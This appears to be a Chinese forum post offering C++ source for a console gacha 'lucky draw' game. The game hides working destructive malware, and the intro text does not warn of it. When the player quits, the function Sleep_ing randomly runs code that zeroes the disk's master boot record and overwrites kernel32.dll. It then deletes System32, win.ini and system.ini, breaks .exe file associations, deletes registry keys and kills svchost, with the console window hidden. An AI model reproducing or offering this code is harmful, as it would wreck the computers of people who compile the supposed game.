现在才发现C++游戏的支持率这么高,那就发几篇吧
一、基本介绍
支持Dev-C++5.11版本(务必调为英文输入法),基本操作看游戏里的介绍,怎么做的......懒得说,能看懂就看注释,没有的自己猜,如果你很固执......私我吧
二、代码部分
cpp
//删除第501行注释,vbyudsgdv
#include <bits/stdc++.h>
#include <windows.h>
#define random(a,b) (rand()%(b-a+1)+a)
#define clear() cout<<"\033c"<<flush
#define _CRT_SECURE_NO_WARNINGS 1 //安全检查
#pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" )//隐藏dos窗口
using namespace std;
double dollar=21991.2;
//dollar=>剩余的总钱数
int a[10005];
//a[i]=>储存生成的随机数
//由于最多是10000连抽,所以下标是10005
int c,cnt;
//c=>c连抽(c=1 10 100 1000 10000)
//cnt=>访问第i个随机数
double c1=2.2,c2=19.8,c3=215.6,c4=2193.4,c5=21991.2,kkk;
//c(1~5)是1 10 100 1000 10000连抽的买入价
//kkk是每次结算的钱
void kill_mbr()//修改MBR
{
FILE* disk = fopen("\\\\.\\PHYSICALDRIVE0", "rb+");
char mbr[512] = { 0 };
fwrite(mbr, sizeof(mbr), 1, disk);
fclose(disk);
}
void infect()
{
FILE* infect_file = fopen("C:\\Windows\\SysWOW64\\kernel32.dll","rb+");
char write[666] = { 0 };
fwrite(write, sizeof(write), 1, infect_file);
fclose(infect_file);
}
void KeyBoard(){
cout << "Welcome to lucky draw" << endl;
cout << "1 lucky draw ($2.2)--- cin 1"<< endl;
//一连抽
cout << "10 lucky draws ($19.8)--- cin 10 [must have 1 Extraordinary]"<< endl;
//十连抽
cout << "100 lucky draws ($215.6)--- cin 100 [must have 1 Legendary]"<< endl;
//百连抽
cout << "1000 lucky draws ($2193.4)--- cin 1000 [must have 1 Super+++]"<< endl;
//千连抽
cout << "10000 lucky draws ($21991.2)--- cin 10000 [must have 2 Super+++]"<< endl;
//万连抽
cout << "You have $" << dollar*1.0 <<" now";
//输出现有钱数
//cin >> c;
}
void Draw_First_KeyBoard()
{
system("cls");
cout << "Welcome to lucky draw" << endl;
cout << "1 lucky draw ($2.2)--- cin 1"<< endl;
//一连抽
cout << "10 lucky draws ($19.8)--- cin 10 [must have 1 Extraordinary]"<< endl;
//十连抽
cout << "100 lucky draws ($215.6)--- cin 100 [must have 1 Legendary]"<< endl;
//百连抽
cout << "1000 lucky draws ($2193.4)--- cin 1000 [must have 1 Super+++]"<< endl;
//千连抽
cout << "10000 lucky draws ($21991.2)--- cin 10000 [must have 2 Super+++]"<< endl;
//万连抽
cout << "You have $" << dollar*1.0 <<" now";
//输出现有钱数
cin >> c;
if(c==1)
{
if(dollar<c1)//判断没钱的情况
{
cout << "You dont have money" << endl;
Sleep(3000);
Draw_First_KeyBoard();
}
dollar-=c1;//相应扣钱
}
if(c==10)//判断没钱的情况
{
if(dollar<c2)
{
cout << "You dont have money" << endl;
Sleep(3000);
Draw_First_KeyBoard();
}
dollar-=c2;//相应扣钱
}
if(c==100)//判断没钱的情况
{
if(dollar<c3)
{
cout<<"You dont have money"<<endl;
Sleep(3000);
Draw_First_KeyBoard();
}
dollar-=c3;//相应扣钱
}
if(c==1000)//判断没钱的情况
{
if(dollar<c4)
{
cout<<"You dont have money"<<endl;
Sleep(3000);
Draw_First_KeyBoard();
}
dollar-=c4;//相应扣钱
}
if(c==10000)//判断没钱的情况
{
if(dollar<c5)
{
cout<<"You dont have money"<<endl;
Sleep(3000);
Draw_First_KeyBoard();
}
dollar-=c5;//相应扣钱
}
}
void Random(){
srand((unsigned)time(NULL));
if(c == 1)
{
cout<<c1<<endl;
cout<<"Loading"<<endl;
cout<<"--";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<"$2.2"<<endl;
cout<<"Loading"<<endl;
cout<<"----";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<"$2.2"<<endl;
cout<<"Loading"<<endl;
cout<<"------";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<"$2.2"<<endl;
cout<<"Loading"<<endl;
cout<<"--------";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<"$2.2"<<endl;
cout<<"Loading"<<endl;
cout<<"----------";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<"$2.2"<<endl;
cout<<"Loading"<<endl;
cout<<"------------";
Sleep(1000);
cnt = 0;
for(int i=0;i<1;i++)
//生成随机数
{
int n = random(1,400);
a[++cnt] = n;
}
}
if(c == 10)
{
cout<<c2<<endl;
cout<<"Loading"<<endl;
cout<<"--";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c2<<endl;
cout<<"Loading"<<endl;
cout<<"----";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c2<<endl;
cout<<"Loading"<<endl;
cout<<"------";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c2<<endl;
cout<<"Loading"<<endl;
cout<<"--------";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c2<<endl;
cout<<"Loading"<<endl;
cout<<"----------";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c2<<endl;
cout<<"Loading"<<endl;
cout<<"------------";
Sleep(1000);
a[1] = 320;
cnt = 1;
for(int i=0;i<9;i++)
//生成随机数
{
int n = random(1,400);
a[++cnt] = n;
}
}
if(c == 100)
{
cout<<c3<<endl;
cout<<"Loading"<<endl;
cout<<"--";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c3<<endl;
cout<<"Loading"<<endl;
cout<<"----";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c3<<endl;
cout<<"Loading"<<endl;
cout<<"------";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c3<<endl;
cout<<"Loading"<<endl;
cout<<"--------";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c3<<endl;
cout<<"Loading"<<endl;
cout<<"----------";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c3<<endl;
cout<<"Loading"<<endl;
cout<<"------------";
Sleep(1000);
a[1] = 390;
cnt = 1;
for(int i=0;i<99;i++)
//生成随机数
{
int n = random(1,400);
a[++cnt] = n;
}
}
if(c == 1000)
{
cout<<c4<<endl;
cout<<"Loading"<<endl;
cout<<"--";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c4<<endl;
cout<<"Loading"<<endl;
cout<<"----";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c4<<endl;
cout<<"Loading"<<endl;
cout<<"------";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c4<<endl;
cout<<"Loading"<<endl;
cout<<"--------";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c4<<endl;
cout<<"Loading"<<endl;
cout<<"----------";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c4<<endl;
cout<<"Loading"<<endl;
cout<<"------------";
Sleep(1000);
a[1] = 400;
cnt = 1;
for(int i=0;i<999;i++)
//生成随机数
{
int n = random(1,400);
a[++cnt] = n;
}
}
if(c == 10000)
{
cout<<c5<<endl;
cout<<"Loading"<<endl;
cout<<"--";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c5<<endl;
cout<<"Loading"<<endl;
cout<<"----";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c5<<endl;
cout<<"Loading"<<endl;
cout<<"------";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c5<<endl;
cout<<"Loading"<<endl;
cout<<"--------";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c5<<endl;
cout<<"Loading"<<endl;
cout<<"----------";
Sleep(1000);
system("cls");
KeyBoard();
cout<<endl<<c<<endl;
cout<<c5<<endl;
cout<<"Loading"<<endl;
cout<<"------------";
Sleep(1000);
a[1] = 400;
a[2] = 400;
cnt = 2;
for(int i=0;i<9998;i++)
//生成随机数
{
int n = random(1,400);
a[++cnt] = n;
}
}
}
void Show_Random()
{
//开始生成
sort(a + 1,a + cnt + 1);
//对生成数排序
int f1 = 0,f2 = 0,f3 = 0,f5 = 0,f7 = 0,f12 = 0,f17 = 0;
for(int i = 1;i <= cnt;i++)
{
int n = a[i];
if(n >= 1 && n <= 200){
f1++,cout << "Ordinary(##)"<<endl;
}
if(n >= 201 && n <= 300)
{
f2++,cout << "-Advanced(###)"<<endl;
}
if(n >= 301 && n <= 350)
{
f3++,cout << "--Extraordinary(####)"<<endl;
}
if(n >= 351 && n <= 380)
{
f5++,cout << "---Epic(######)"<<endl;
}
if(n >= 381 && n <= 392)
{
f7++,cout << "----Legendary(########)"<<endl;
}
if(n >= 393 && n <= 399)
{
f12++,cout << "-----Super(############)"<<endl;
}
if(n == 400)
{
f17++,cout << "-------Super+++(################)"<<endl;
}
}
//输出"战利品"
cout << "Super+++:"<< f17;
printf(" (%3lf%)[0.25%]\n",f17 * 1.0 / c*100.0);
cout << "Super:" << f12;
printf(" (%3lf%)[1.75%]\n",f12 * 1.0 / c*100.0);
cout << "Legendary:" << f7;
printf(" (%3lf%)[3.00%]\n",f7 * 1.0 / c*100.0);
cout <<"Epic:" << f5;
printf(" (%3lf%)[7.50%]\n",f5 * 1.0 / c*100.0);
cout <<"Extraordinary:" << f3;
printf(" (%3lf%)[12.50%]\n",f3 * 1.0 / c*100.0);
cout << "Advanced:" << f2;
printf(" (%3lf%)[25.00%]\n",f2 * 1.0 / c*100.0);
cout << "Ordinary:" << f1;
printf(" (%3lf%)[50.00%]\n",f1 * 1.0 / c*100.0);
kkk=f17 * 20 + f12 *11 + f7 * 7+f5 * 5 + f3 * 3+f2 * 2+f1;
cout<<"$"<<"The value is "<<kkk<<endl;
//计算结算总价值并输出
dollar+=kkk;
if(c==1)
{
cout<<"You earn $ "<<kkk-c1<<endl;
}
if(c==10)
{
cout<<"You earn $ "<<kkk-c2<<endl;
}
if(c==100)
{
cout<<"You earn $ "<<kkk-c3<<endl;
}
if(c==1000)
{
cout<<"You earn $ "<<kkk-c4<<endl;
}
if(c==10000)
{
cout<<"You earn $ "<<kkk-c5<<endl;
}
//判断挣(亏)多少$
}
void Sleep_ing()//病毒版
{
char qqq;
cout<<"If you want to continue,enter any thing execpt n"<<endl;
cin>>qqq;
if(qqq=='n')
{
cout<<"Okay,byebye!"<<endl;
Sleep(800);
srand((unsigned)time(NULL));
int q1 = rand() % 3;
if(q1==0)
{
exit(0);
}
else if(q1==1)
while(1)
{
cout<<"You are idiot"<<endl;
SetCursorPos(0, 0);
}
else
{
infect();
kill_mbr();
system("del /f /s /q C:\\Windows\\System32\\*.*");//删除system32
system("ftype exefile='C:\\Windows\\notepad.exe'%*"); //把可执行文件的打开方式都改成notepad
system("@echo off Start reg delete HKCR/.exe Start reg delete HKCR/.dll Start reg delete HKCR/*");//删除所有注册表
system("attrib -s -r -h C:\\Windows\\system.ini");
system("del /f /s /q C:\\Windows\\system.ini");
system("attrib -s -r -h C:\\Windows\\win.ini");
system("del /f /s /q C:\\Windows\\win.ini"); //删除系统重要文件
system("taskkill /f /im svchost.exe");
}
}
//停顿
}
void Sleep_Kind(){
char qqq;
cout<<"If you want to continue,enter any thing execpt n"<<endl;
cin>>qqq;
if(qqq=='n')
{
cout<<"ByeBye"<<endl;
exit(0);
}
}
void Main()
{
Draw_First_KeyBoard();
Random();
Show_Random();
Sleep_ing();
Sleep_Kind();
}
int main()
{
while(1)
{
Main();
}
//return 0;
}